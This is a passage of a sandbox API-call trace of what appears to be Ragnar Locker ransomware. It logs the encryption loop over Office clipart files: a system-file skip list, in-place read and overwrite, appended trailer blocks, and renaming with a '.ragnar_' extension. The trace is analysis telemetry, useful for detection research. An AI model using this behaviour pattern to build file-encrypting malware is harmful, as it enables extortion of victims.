lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1b16, lpOverlapped=0x0) returned 1 [0083.008] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b16, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.008] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.008] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b16, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.008] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.008] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.008] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.008] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.008] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.008] GetProcessHeap () returned 0x580000 [0083.008] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.008] CloseHandle (hObject=0xf4) returned 1 [0083.009] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" [0083.009] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.ragnar_FD7BD9FC" [0083.009] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.009] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa442, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0093905.WMF", cAlternateFileName="")) returned 1 [0083.009] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.009] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0093905.WMF" | out: lpString1="J0093905.WMF") returned="J0093905.WMF" [0083.009] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned=".WMF" [0083.009] lstrcmpiW (lpString1="J0093905.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.009] lstrcmpiW (lpString1="J0093905.WMF", lpString2="autorun.inf") returned 1 [0083.009] lstrcmpiW (lpString1="J0093905.WMF", lpString2="boot.ini") returned 1 [0083.009] lstrcmpiW (lpString1="J0093905.WMF", lpString2="bootfont.bin") returned 1 [0083.009] lstrcmpiW (lpString1="J0093905.WMF", lpString2="bootsect.bak") returned 1 [0083.009] lstrcmpiW (lpString1="J0093905.WMF", lpString2="bootmgr") returned 1 [0083.009] lstrcmpiW (lpString1="J0093905.WMF", lpString2="bootmgr.efi") returned 1 [0083.009] lstrcmpiW (lpString1="J0093905.WMF", lpString2="bootmgfw.efi") returned 1 [0083.009] lstrcmpiW (lpString1="J0093905.WMF", lpString2="desktop.ini") returned 1 [0083.010] lstrcmpiW (lpString1="J0093905.WMF", lpString2="iconcache.db") returned 1 [0083.010] lstrcmpiW (lpString1="J0093905.WMF", lpString2="ntldr") returned -1 [0083.010] lstrcmpiW (lpString1="J0093905.WMF", lpString2="ntuser.dat") returned -1 [0083.010] lstrcmpiW (lpString1="J0093905.WMF", lpString2="ntuser.dat.log") returned -1 [0083.010] lstrcmpiW (lpString1="J0093905.WMF", lpString2="ntuser.ini") returned -1 [0083.010] lstrcmpiW (lpString1="J0093905.WMF", lpString2="thumbs.db") returned -1 [0083.010] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.010] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.010] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.010] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.010] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.010] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.010] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf")) returned 0x20 [0083.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.011] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=42050) returned 1 [0083.011] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa439, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.011] GetProcessHeap () returned 0x580000 [0083.011] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.011] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.013] VirtualAlloc (lpAddress=0x0, dwSize=0xa442, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.013] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.013] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.013] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa442, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa442, lpOverlapped=0x0) returned 1 [0083.015] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.015] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa442, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.015] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa442, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa442, lpOverlapped=0x0) returned 1 [0083.015] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa442, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.015] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.016] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa442, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.016] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.016] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.016] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.016] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.016] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.016] GetProcessHeap () returned 0x580000 [0083.016] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.016] CloseHandle (hObject=0xf4) returned 1 [0083.016] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" [0083.016] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.ragnar_FD7BD9FC" [0083.016] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.017] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0098497.WMF", cAlternateFileName="")) returned 1 [0083.017] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.017] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0098497.WMF" | out: lpString1="J0098497.WMF") returned="J0098497.WMF" [0083.017] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned=".WMF" [0083.017] lstrcmpiW (lpString1="J0098497.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.017] lstrcmpiW (lpString1="J0098497.WMF", lpString2="autorun.inf") returned 1 [0083.017] lstrcmpiW (lpString1="J0098497.WMF", lpString2="boot.ini") returned 1 [0083.017] lstrcmpiW (lpString1="J0098497.WMF", lpString2="bootfont.bin") returned 1 [0083.017] lstrcmpiW (lpString1="J0098497.WMF", lpString2="bootsect.bak") returned 1 [0083.017] lstrcmpiW (lpString1="J0098497.WMF", lpString2="bootmgr") returned 1 [0083.017] lstrcmpiW (lpString1="J0098497.WMF", lpString2="bootmgr.efi") returned 1 [0083.017] lstrcmpiW (lpString1="J0098497.WMF", lpString2="bootmgfw.efi") returned 1 [0083.017] lstrcmpiW (lpString1="J0098497.WMF", lpString2="desktop.ini") returned 1 [0083.017] lstrcmpiW (lpString1="J0098497.WMF", lpString2="iconcache.db") returned 1 [0083.017] lstrcmpiW (lpString1="J0098497.WMF", lpString2="ntldr") returned -1 [0083.017] lstrcmpiW (lpString1="J0098497.WMF", lpString2="ntuser.dat") returned -1 [0083.017] lstrcmpiW (lpString1="J0098497.WMF", lpString2="ntuser.dat.log") returned -1 [0083.017] lstrcmpiW (lpString1="J0098497.WMF", lpString2="ntuser.ini") returned -1 [0083.017] lstrcmpiW (lpString1="J0098497.WMF", lpString2="thumbs.db") returned -1 [0083.017] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.017] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.017] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.017] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.017] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.017] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.017] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf")) returned 0x20 [0083.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.018] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4970) returned 1 [0083.018] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1361, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.018] GetProcessHeap () returned 0x580000 [0083.018] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.018] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.020] VirtualAlloc (lpAddress=0x0, dwSize=0x136a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.020] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.020] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.020] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x136a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x136a, lpOverlapped=0x0) returned 1 [0083.021] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.021] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x136a, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.021] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x136a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x136a, lpOverlapped=0x0) returned 1 [0083.021] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x136a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.021] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.021] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x136a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.021] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.021] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.021] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.021] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.021] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.021] GetProcessHeap () returned 0x580000 [0083.021] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.021] CloseHandle (hObject=0xf4) returned 1 [0083.022] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" [0083.022] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.ragnar_FD7BD9FC" [0083.022] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.022] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x60b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099145.JPG", cAlternateFileName="")) returned 1 [0083.022] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.022] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099145.JPG" | out: lpString1="J0099145.JPG") returned="J0099145.JPG" [0083.022] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned=".JPG" [0083.022] lstrcmpiW (lpString1="J0099145.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.022] lstrcmpiW (lpString1="J0099145.JPG", lpString2="autorun.inf") returned 1 [0083.022] lstrcmpiW (lpString1="J0099145.JPG", lpString2="boot.ini") returned 1 [0083.022] lstrcmpiW (lpString1="J0099145.JPG", lpString2="bootfont.bin") returned 1 [0083.022] lstrcmpiW (lpString1="J0099145.JPG", lpString2="bootsect.bak") returned 1 [0083.022] lstrcmpiW (lpString1="J0099145.JPG", lpString2="bootmgr") returned 1 [0083.022] lstrcmpiW (lpString1="J0099145.JPG", lpString2="bootmgr.efi") returned 1 [0083.022] lstrcmpiW (lpString1="J0099145.JPG", lpString2="bootmgfw.efi") returned 1 [0083.022] lstrcmpiW (lpString1="J0099145.JPG", lpString2="desktop.ini") returned 1 [0083.022] lstrcmpiW (lpString1="J0099145.JPG", lpString2="iconcache.db") returned 1 [0083.023] lstrcmpiW (lpString1="J0099145.JPG", lpString2="ntldr") returned -1 [0083.023] lstrcmpiW (lpString1="J0099145.JPG", lpString2="ntuser.dat") returned -1 [0083.023] lstrcmpiW (lpString1="J0099145.JPG", lpString2="ntuser.dat.log") returned -1 [0083.023] lstrcmpiW (lpString1="J0099145.JPG", lpString2="ntuser.ini") returned -1 [0083.023] lstrcmpiW (lpString1="J0099145.JPG", lpString2="thumbs.db") returned -1 [0083.023] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0083.023] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0083.023] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0083.023] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0083.023] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0083.023] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0083.023] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0083.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg")) returned 0x20 [0083.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.023] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24759) returned 1 [0083.023] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x60ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.023] GetProcessHeap () returned 0x580000 [0083.023] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.023] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.025] VirtualAlloc (lpAddress=0x0, dwSize=0x60b7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.025] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.025] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.025] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x60b7, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x60b7, lpOverlapped=0x0) returned 1 [0083.027] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.027] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x60b7, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.027] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x60b7, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x60b7, lpOverlapped=0x0) returned 1 [0083.027] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x60b7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.027] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.027] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x60b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.027] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.027] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.027] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, 